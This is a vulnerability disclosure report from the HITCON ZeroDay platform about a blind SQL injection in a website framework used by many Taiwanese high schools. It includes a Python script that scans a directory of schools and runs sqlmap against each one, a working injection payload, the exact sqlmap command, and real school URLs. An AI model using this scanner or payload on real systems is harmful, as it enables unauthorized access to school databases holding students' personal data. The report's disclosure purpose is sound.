多個高中使用相同框架具有 sql injection - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2021-00476
  •  發信 Vendor: TACERT台灣學術網路危機處理中心
  • Title: 多個高中使用相同框架具有 sql injection
  • Introduction: SQLi

處理狀態

目前狀態

公開
Last Update : 2021/09/28
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2021/07/29 16:38:01 : 新提交 (由 entroy 更新此狀態)
  • 2021/07/29 16:39:59 : 新提交 (由 entroy 更新此狀態)
  • 2021/08/02 00:19:52 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/08/02 13:11:06 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/08/02 13:11:06 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/08/02 13:11:06 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/09/28 03:00:08 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2021-00476
  • 通報者:entroy (entroy)
  • 風險:中
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.klgsh.kl.edu.tw/
https://www.klsh.kl.edu.tw
http://www.essh.kl.edu.tw
http://www.shsh.kl.edu.tw
http://www.csjh.kl.edu.tw
https://aljh.kl.edu.tw/
http://www.nnjh.kl.edu.tw
http://www.bdjh.kl.edu.tw/
http://www.nocsh.ntpc.edu.tw
http://www.tssh.ntpc.edu.tw
https://www.klgsh.kl.edu.tw/
https://www.klsh.kl.edu.tw
http://www.essh.kl.edu.tw
http://www.shsh.kl.edu.tw
https://www.ylsh.ilc.edu.tw/ischool/publish_page/0/
...
還有很多

敘述

附上腳本

import requests
from bs4 import BeautifulSoup
import os

def get_uid(url):
    try:
        path = '/ischool/publish_page/0/'
        response = requests.get(url + path)
        soup = BeautifulSoup(response.text, 'html.parser')
        site_news = soup.find('div', id='site_news')
        uid = site_news.attrs['class'][0]
        return uid
    except:
        return False

def sqlmap(url, uid):
    if uid != False:
        path = '/ischool/widget/site_news/news_query_json.php'
        data = 'field=title&order=DESC&pageNum=0&maxRows=16&keyword=&flock=attr_1&uid={}&tf=1&auth_type=user&use_cache=0'.format(uid)
        os.system('sqlmap {} --data "{}" --level 5 --risk 3 --batch --random-agent --technique=B -p flock --ignore-timeout'.format(url + path, data))
        return url
    else:
        return False

# 全台高中
def find_possible_target():
    page = [36, 19, 5, 7, 20, 1]
    url_list = []
    for i in range(1, 7):
        url = 'http://highschool.yjvs.chc.edu.tw/search/index.php?no={}'.format(str(i))
        for j in range(page[i - 1] + 1):
            response = requests.get(url + '&page={}'.format(str(j)))
            soup = BeautifulSoup(response.text, 'html.parser')
            tables = soup.find_all('table')
            for table in tables:
                try:
                    url_list.append(table.find_all('a')[3].get('href'))
                except:
                    continue

    return url_list

def main():
    url_list = find_possible_target()
    vuln_url_list = []
    for url in url_list:
        print(url)
        vuln_url = get_uid(url)
        if vuln_url != False:
            try:
                vuln_url_list.append(url)
            except:
                continue

    print(vuln_url_list)

if __name__ == "__main__":
    main()

只有大概打一下,都具有相同的問題

---
Parameter: flock (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: field=title&order=DESC&pageNum=0&maxRows=16&keyword=&flock=attr_1 AND 9930=9930&uid=WID_218_2_b000c0e04a6b7dda48e08859e7bb2291b2b0f3ba&tf=1&auth_type=user&use_cache=0
---

用相同框架沒有使用 flock 這個參數的話不會有問題

圖片是使用下面的命令測試

sqlmap "http://www.ylsh.ilc.edu.tw//ischool/widget/site_news/news_query_json.php" --data "field=title&order=DESC&pageNum=0&maxRows=16&keyword=&flock=attr_1&uid=WID_0_2_0bbe1df056daadf6ca89c11d5e6531eb7f4576e3&tf=1&auth_type=user&use_cache=0" --level 5 --risk 3 --batch --random-agent --technique=B -p flock

腳本跑完的結果 https://drive.google.com/file/d/1_-CZXFDI2zhQ8eeS1YuU7hKYy6CXlOyb/view?usp=sharing

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;